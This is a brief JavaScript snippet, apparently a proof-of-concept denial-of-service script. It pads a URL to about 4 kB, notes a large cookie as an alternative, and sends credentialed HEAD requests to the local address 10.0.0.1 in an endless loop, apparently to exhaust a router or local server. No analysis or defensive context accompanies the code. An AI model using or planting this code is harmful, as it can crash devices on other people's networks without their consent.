var url = "https://10.0.0.1/index.html";
var xhr = new XMLHttpRequest;
// Expand URL to ~4kB using a query string
// Alternatively, force a large cookie
url += "?";
var x = 10000000;
for (var i=0; i<=500; i++) {
url += x++;
}
while(true) {
xhr.open("HEAD", url, false);
xhr.withCredentials = true;
xhr.send();
xhr.abort();
}
...
...